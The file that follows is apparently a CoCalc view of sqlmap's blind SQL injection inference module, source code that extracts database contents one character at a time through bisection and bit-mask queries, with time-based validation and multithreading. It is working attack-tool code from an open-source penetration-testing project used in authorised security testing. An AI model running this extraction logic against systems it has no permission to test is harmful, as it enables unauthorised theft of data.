Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/blind/inference.py
3553 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import division
9
10
import re
11
import time
12
13
from lib.core.agent import agent
14
from lib.core.common import Backend
15
from lib.core.common import calculateDeltaSeconds
16
from lib.core.common import dataToStdout
17
from lib.core.common import decodeDbmsHexValue
18
from lib.core.common import decodeIntToUnicode
19
from lib.core.common import filterControlChars
20
from lib.core.common import getCharset
21
from lib.core.common import getCounter
22
from lib.core.common import getPartRun
23
from lib.core.common import getTechnique
24
from lib.core.common import getTechniqueData
25
from lib.core.common import goGoodSamaritan
26
from lib.core.common import hashDBRetrieve
27
from lib.core.common import hashDBWrite
28
from lib.core.common import incrementCounter
29
from lib.core.common import isDigit
30
from lib.core.common import isListLike
31
from lib.core.common import safeStringFormat
32
from lib.core.common import singleTimeWarnMessage
33
from lib.core.data import conf
34
from lib.core.data import kb
35
from lib.core.data import logger
36
from lib.core.data import queries
37
from lib.core.enums import ADJUST_TIME_DELAY
38
from lib.core.enums import CHARSET_TYPE
39
from lib.core.enums import DBMS
40
from lib.core.enums import PAYLOAD
41
from lib.core.exception import SqlmapThreadException
42
from lib.core.exception import SqlmapUnsupportedFeatureException
43
from lib.core.settings import CHAR_INFERENCE_MARK
44
from lib.core.settings import INFERENCE_BLANK_BREAK
45
from lib.core.settings import INFERENCE_EQUALS_CHAR
46
from lib.core.settings import INFERENCE_GREATER_CHAR
47
from lib.core.settings import INFERENCE_MARKER
48
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
49
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
50
from lib.core.settings import MAX_BISECTION_LENGTH
51
from lib.core.settings import MAX_REVALIDATION_STEPS
52
from lib.core.settings import NULL
53
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
54
from lib.core.settings import PARTIAL_VALUE_MARKER
55
from lib.core.settings import PAYLOAD_DELIMITER
56
from lib.core.settings import RANDOM_INTEGER_MARKER
57
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
58
from lib.core.threads import getCurrentThreadData
59
from lib.core.threads import runThreads
60
from lib.core.unescaper import unescaper
61
from lib.request.connect import Connect as Request
62
from lib.utils.progress import ProgressBar
63
from lib.utils.safe2bin import safecharencode
64
from lib.utils.xrange import xrange
65
from thirdparty import six
66
67
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
68
"""
69
Bisection algorithm that can be used to perform blind SQL injection
70
on an affected host
71
"""
72
73
abortedFlag = False
74
showEta = False
75
partialValue = u""
76
finalValue = None
77
retrievedLength = 0
78
79
if payload is None:
80
return 0, None
81
82
if charsetType is None and conf.charset:
83
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
84
else:
85
asciiTbl = getCharset(charsetType)
86
87
threadData = getCurrentThreadData()
88
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
89
retVal = hashDBRetrieve(expression, checkConf=True)
90
91
if retVal:
92
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
93
pass
94
elif PARTIAL_HEX_VALUE_MARKER in retVal:
95
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
96
97
if retVal and conf.hexConvert:
98
partialValue = retVal
99
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
100
logger.info(infoMsg)
101
elif PARTIAL_VALUE_MARKER in retVal:
102
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
103
104
if retVal and not conf.hexConvert:
105
partialValue = retVal
106
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
107
logger.info(infoMsg)
108
else:
109
infoMsg = "resumed: %s" % safecharencode(retVal)
110
logger.info(infoMsg)
111
112
return 0, retVal
113
114
if Backend.isDbms(DBMS.MCKOI):
115
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
116
if match:
117
original = queries[Backend.getIdentifiedDbms()].inference.query
118
right = original.split('<')[1]
119
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
120
expression = match.group(1).strip()
121
122
elif Backend.isDbms(DBMS.FRONTBASE):
123
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
124
if match:
125
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
126
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
127
expression = match.group(2).strip()
128
129
try:
130
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
131
if conf.predictOutput:
132
kb.partRun = getPartRun()
133
elif conf.api:
134
kb.partRun = getPartRun(alias=False)
135
else:
136
kb.partRun = None
137
138
if partialValue:
139
firstChar = len(partialValue)
140
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
141
firstChar = 0
142
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
143
firstChar = int(conf.firstChar) - 1
144
if kb.fileReadMode:
145
firstChar <<= 1
146
elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int):
147
firstChar = int(firstChar) - 1
148
else:
149
firstChar = 0
150
151
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
152
lastChar = 0
153
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
154
lastChar = int(conf.lastChar)
155
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
156
lastChar = int(lastChar)
157
else:
158
lastChar = 0
159
160
if Backend.getDbms():
161
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
162
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
163
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
164
expressionUnescaped = unescaper.escape(expressionReplaced)
165
else:
166
expressionUnescaped = unescaper.escape(expression)
167
168
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
169
length = int(length)
170
else:
171
length = None
172
173
if length == 0:
174
return 0, ""
175
176
if length and (lastChar > 0 or firstChar > 0):
177
length = min(length, lastChar or length) - firstChar
178
179
if length and length > MAX_BISECTION_LENGTH:
180
length = None
181
182
showEta = conf.eta and isinstance(length, int)
183
184
if kb.bruteMode:
185
numThreads = 1
186
else:
187
numThreads = min(conf.threads or 0, length or 0) or 1
188
189
if showEta:
190
progress = ProgressBar(maxValue=length)
191
192
if numThreads > 1:
193
if not timeBasedCompare or kb.forceThreads:
194
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
195
logger.debug(debugMsg)
196
else:
197
numThreads = 1
198
199
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
200
warnMsg = "running in a single-thread mode. Please consider "
201
warnMsg += "usage of option '--threads' for faster data retrieval"
202
singleTimeWarnMessage(warnMsg)
203
204
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
205
if isinstance(length, int) and numThreads > 1:
206
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
207
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
208
else:
209
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
210
211
def tryHint(idx):
212
with kb.locks.hint:
213
hintValue = kb.hintValue
214
215
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
216
if "'%s'" % CHAR_INFERENCE_MARK in payload:
217
posValue = hintValue[idx - 1]
218
else:
219
posValue = ord(hintValue[idx - 1])
220
221
markingValue = "'%s'" % CHAR_INFERENCE_MARK
222
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
223
forgedPayload = agent.extractPayload(payload) or ""
224
forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue)
225
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
226
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
227
incrementCounter(getTechnique())
228
229
if result:
230
return hintValue[idx - 1]
231
232
with kb.locks.hint:
233
kb.hintValue = ""
234
235
return None
236
237
def validateChar(idx, value):
238
"""
239
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
240
"""
241
242
threadData = getCurrentThreadData()
243
244
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
245
246
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
247
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
248
else:
249
# e.g.: ... > '%c' -> ... > ORD(..)
250
markingValue = "'%s'" % CHAR_INFERENCE_MARK
251
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
252
forgedPayload = validationPayload.replace(markingValue, unescapedCharValue)
253
forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx))
254
255
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
256
257
if result and timeBasedCompare and getTechniqueData().trueCode:
258
result = threadData.lastCode == getTechniqueData().trueCode
259
if not result:
260
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode)
261
singleTimeWarnMessage(warnMsg)
262
263
incrementCounter(getTechnique())
264
265
return result
266
267
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
268
"""
269
continuousOrder means that distance between each two neighbour's
270
numerical values is exactly 1
271
"""
272
273
threadData = getCurrentThreadData()
274
275
result = tryHint(idx)
276
277
if result:
278
return result
279
280
if charTbl is None:
281
charTbl = type(asciiTbl)(asciiTbl)
282
283
originalTbl = type(charTbl)(charTbl)
284
285
if kb.disableShiftTable:
286
shiftTable = None
287
elif continuousOrder and shiftTable is None:
288
# Used for gradual expanding into unicode charspace
289
shiftTable = [2, 2, 3, 3, 3]
290
291
if "'%s'" % CHAR_INFERENCE_MARK in payload:
292
for char in ('\n', '\r'):
293
if ord(char) in charTbl:
294
if not isinstance(charTbl, list):
295
charTbl = list(charTbl)
296
charTbl.remove(ord(char))
297
298
if not charTbl:
299
return None
300
301
elif len(charTbl) == 1:
302
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
303
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
304
incrementCounter(getTechnique())
305
306
if result:
307
return decodeIntToUnicode(charTbl[0])
308
else:
309
return None
310
311
maxChar = maxValue = charTbl[-1]
312
minValue = charTbl[0]
313
firstCheck = False
314
lastCheck = False
315
unexpectedCode = False
316
317
if continuousOrder:
318
while len(charTbl) > 1:
319
position = None
320
321
if charsetType is None:
322
if not firstCheck:
323
try:
324
try:
325
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
326
except IndexError:
327
lastChar = None
328
else:
329
if 'a' <= lastChar <= 'z':
330
position = charTbl.index(ord('a') - 1) # 96
331
elif 'A' <= lastChar <= 'Z':
332
position = charTbl.index(ord('A') - 1) # 64
333
elif '0' <= lastChar <= '9':
334
position = charTbl.index(ord('0') - 1) # 47
335
except ValueError:
336
pass
337
finally:
338
firstCheck = True
339
340
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
341
if charTbl[(len(charTbl) >> 1)] < ord(' '):
342
try:
343
# favorize last char check if current value inclines toward 0
344
position = charTbl.index(1)
345
except ValueError:
346
pass
347
finally:
348
lastCheck = True
349
350
if position is None:
351
position = (len(charTbl) >> 1)
352
353
posValue = charTbl[position]
354
falsePayload = None
355
356
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
357
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
358
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
359
else:
360
# e.g.: ... > '%c' -> ... > ORD(..)
361
markingValue = "'%s'" % CHAR_INFERENCE_MARK
362
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
363
forgedPayload = payload.replace(markingValue, unescapedCharValue)
364
forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx))
365
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
366
367
if timeBasedCompare:
368
if kb.responseTimeMode:
369
kb.responseTimePayload = falsePayload
370
else:
371
kb.responseTimePayload = None
372
373
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
374
375
incrementCounter(getTechnique())
376
377
if not timeBasedCompare and getTechniqueData() is not None:
378
unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
379
if unexpectedCode:
380
if threadData.lastCode is not None:
381
warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode
382
else:
383
warnMsg = "unexpected response detected."
384
385
warnMsg += " Will use (extra) validation step in similar cases"
386
387
singleTimeWarnMessage(warnMsg)
388
389
if result:
390
minValue = posValue
391
392
if not isinstance(charTbl, xrange):
393
charTbl = charTbl[position:]
394
else:
395
# xrange() - extended virtual charset used for memory/space optimization
396
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
397
else:
398
maxValue = posValue
399
400
if not isinstance(charTbl, xrange):
401
charTbl = charTbl[:position]
402
else:
403
charTbl = xrange(charTbl[0], charTbl[position])
404
405
if len(charTbl) == 1:
406
if maxValue == 1:
407
return None
408
409
# Going beyond the original charset
410
elif minValue == maxChar:
411
# If the original charTbl was [0,..,127] new one
412
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
413
# and instead of making a HUGE list with all the
414
# elements we use a xrange, which is a virtual
415
# list
416
if expand and shiftTable:
417
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
418
originalTbl = xrange(charTbl[0], charTbl[-1] + 1)
419
maxChar = maxValue = charTbl[-1]
420
minValue = charTbl[0]
421
else:
422
kb.disableShiftTable = True
423
return None
424
else:
425
retVal = minValue + 1
426
427
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
428
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
429
if not kb.originalTimeDelay:
430
kb.originalTimeDelay = conf.timeSec
431
432
threadData.validationRun = 0
433
if (retried or 0) < MAX_REVALIDATION_STEPS:
434
errMsg = "invalid character detected. retrying.."
435
logger.error(errMsg)
436
437
if timeBasedCompare:
438
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
439
conf.timeSec += 1
440
warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
441
logger.warning(warnMsg)
442
443
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
444
dbgMsg = "turning off time auto-adjustment mechanism"
445
logger.debug(dbgMsg)
446
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
447
448
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
449
else:
450
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
451
logger.error(errMsg)
452
conf.timeSec = kb.originalTimeDelay
453
return decodeIntToUnicode(retVal)
454
else:
455
if timeBasedCompare:
456
threadData.validationRun += 1
457
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
458
dbgMsg = "turning back on time auto-adjustment mechanism"
459
logger.debug(dbgMsg)
460
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
461
462
return decodeIntToUnicode(retVal)
463
else:
464
return None
465
else:
466
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
467
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
468
raise SqlmapUnsupportedFeatureException(errMsg)
469
470
candidates = list(originalTbl)
471
bit = 0
472
while len(candidates) > 1:
473
bits = {}
474
maxCandidate = max(candidates)
475
maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1
476
477
for candidate in candidates:
478
for bit in xrange(maxBits):
479
bits.setdefault(bit, 0)
480
if candidate & (1 << bit):
481
bits[bit] += 1
482
else:
483
bits[bit] -= 1
484
485
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
486
mask = 1 << choice
487
488
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
489
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
490
incrementCounter(getTechnique())
491
492
if result:
493
candidates = [_ for _ in candidates if _ & mask > 0]
494
else:
495
candidates = [_ for _ in candidates if _ & mask == 0]
496
497
bit += 1
498
499
if candidates:
500
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
501
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
502
incrementCounter(getTechnique())
503
504
if result:
505
if candidates[0] == 0: # Trailing zeros
506
return None
507
else:
508
return decodeIntToUnicode(candidates[0])
509
510
# Go multi-threading (--threads > 1)
511
if numThreads > 1 and isinstance(length, int) and length > 1:
512
threadData.shared.value = [None] * length
513
threadData.shared.index = [firstChar] # As list for python nested function scoping
514
threadData.shared.start = firstChar
515
516
try:
517
def blindThread():
518
threadData = getCurrentThreadData()
519
520
while kb.threadContinue:
521
with kb.locks.index:
522
if threadData.shared.index[0] - firstChar >= length:
523
return
524
525
threadData.shared.index[0] += 1
526
currentCharIndex = threadData.shared.index[0]
527
528
if kb.threadContinue:
529
val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset))
530
if val is None:
531
val = INFERENCE_UNKNOWN_CHAR
532
else:
533
break
534
535
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
536
if not isListLike(threadData.shared.value):
537
break
538
539
with kb.locks.value:
540
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
541
currentValue = list(threadData.shared.value)
542
543
if kb.threadContinue:
544
if showEta:
545
progress.progress(threadData.shared.index[0])
546
elif conf.verbose >= 1:
547
startCharIndex = 0
548
endCharIndex = 0
549
550
for i in xrange(length):
551
if currentValue[i] is not None:
552
endCharIndex = max(endCharIndex, i)
553
554
output = ''
555
556
if endCharIndex > conf.progressWidth:
557
startCharIndex = endCharIndex - conf.progressWidth
558
559
count = threadData.shared.start
560
561
for i in xrange(startCharIndex, endCharIndex + 1):
562
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
563
564
for i in xrange(length):
565
count += 1 if currentValue[i] is not None else 0
566
567
if startCharIndex > 0:
568
output = ".." + output[2:]
569
570
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
571
output = output[:-2] + ".."
572
573
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
574
_ = count - firstChar
575
output += '_' * (min(length, conf.progressWidth) - len(output))
576
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
577
output += status if _ != length else " " * len(status)
578
579
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
580
581
runThreads(numThreads, blindThread, startThreadMsg=False)
582
583
except KeyboardInterrupt:
584
abortedFlag = True
585
586
finally:
587
value = [_ for _ in partialValue]
588
value.extend(_ for _ in threadData.shared.value)
589
590
infoMsg = None
591
592
# If we have got one single character not correctly fetched it
593
# can mean that the connection to the target URL was lost
594
if None in value:
595
partialValue = "".join(value[:value.index(None)])
596
597
if partialValue:
598
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
599
else:
600
finalValue = "".join(value)
601
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
602
603
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
604
dataToStdout(infoMsg)
605
606
# No multi-threading (--threads = 1)
607
else:
608
index = firstChar
609
threadData.shared.value = ""
610
611
while True:
612
index += 1
613
614
# Common prediction feature (a.k.a. "good samaritan")
615
# NOTE: to be used only when multi-threading is not set for
616
# the moment
617
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
618
val = None
619
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
620
621
# If there is one single output in common-outputs, check
622
# it via equal against the query output
623
if commonValue is not None:
624
# One-shot query containing equals commonValue
625
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
626
627
query = getTechniqueData().vector
628
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
629
query = agent.suffixQuery(query)
630
631
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
632
incrementCounter(getTechnique())
633
634
# Did we have luck?
635
if result:
636
if showEta:
637
progress.progress(len(commonValue))
638
elif conf.verbose in (1, 2) or conf.api:
639
dataToStdout(filterControlChars(commonValue[index - 1:]))
640
641
finalValue = commonValue
642
break
643
644
# If there is a common pattern starting with partialValue,
645
# check it via equal against the substring-query output
646
if commonPattern is not None:
647
# Substring-query containing equals commonPattern
648
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
649
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
650
651
query = getTechniqueData().vector
652
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
653
query = agent.suffixQuery(query)
654
655
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
656
incrementCounter(getTechnique())
657
658
# Did we have luck?
659
if result:
660
val = commonPattern[index - 1:]
661
index += len(val) - 1
662
663
# Otherwise if there is no commonValue (single match from
664
# txt/common-outputs.txt) and no commonPattern
665
# (common pattern) use the returned common charset only
666
# to retrieve the query output
667
if not val and commonCharset:
668
val = getChar(index, commonCharset, False)
669
670
# If we had no luck with commonValue and common charset,
671
# use the returned other charset
672
if not val:
673
val = getChar(index, otherCharset, otherCharset == asciiTbl)
674
else:
675
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
676
677
if val is None:
678
finalValue = partialValue
679
break
680
681
if kb.data.processChar:
682
val = kb.data.processChar(val)
683
684
threadData.shared.value = partialValue = partialValue + val
685
686
if showEta:
687
progress.progress(index)
688
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
689
dataToStdout(filterControlChars(val))
690
691
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
692
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
693
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
694
break
695
elif charsetType and partialValue[-1:].isspace():
696
finalValue = partialValue[:-1]
697
break
698
699
if (lastChar > 0 and index >= lastChar):
700
finalValue = "" if length == 0 else partialValue
701
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
702
partialValue = None
703
break
704
705
except KeyboardInterrupt:
706
abortedFlag = True
707
finally:
708
kb.prependFlag = False
709
retrievedLength = len(finalValue or "")
710
711
if finalValue is not None:
712
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
713
hashDBWrite(expression, finalValue)
714
elif partialValue:
715
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
716
717
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
718
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
719
dataToStdout(infoMsg)
720
else:
721
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
722
dataToStdout("\n")
723
724
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
725
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
726
logger.info(infoMsg)
727
728
if kb.threadException:
729
raise SqlmapThreadException("something unexpected happened inside the threads")
730
731
if abortedFlag:
732
raise KeyboardInterrupt
733
734
_ = finalValue or partialValue
735
736
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
737
738
def queryOutputLength(expression, payload):
739
"""
740
Returns the query output length.
741
"""
742
743
infoMsg = "retrieving the length of query output"
744
logger.info(infoMsg)
745
746
start = time.time()
747
748
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
749
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
750
751
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
752
logger.debug(debugMsg)
753
754
if isinstance(length, six.string_types) and length.isspace():
755
length = 0
756
757
return length
758
759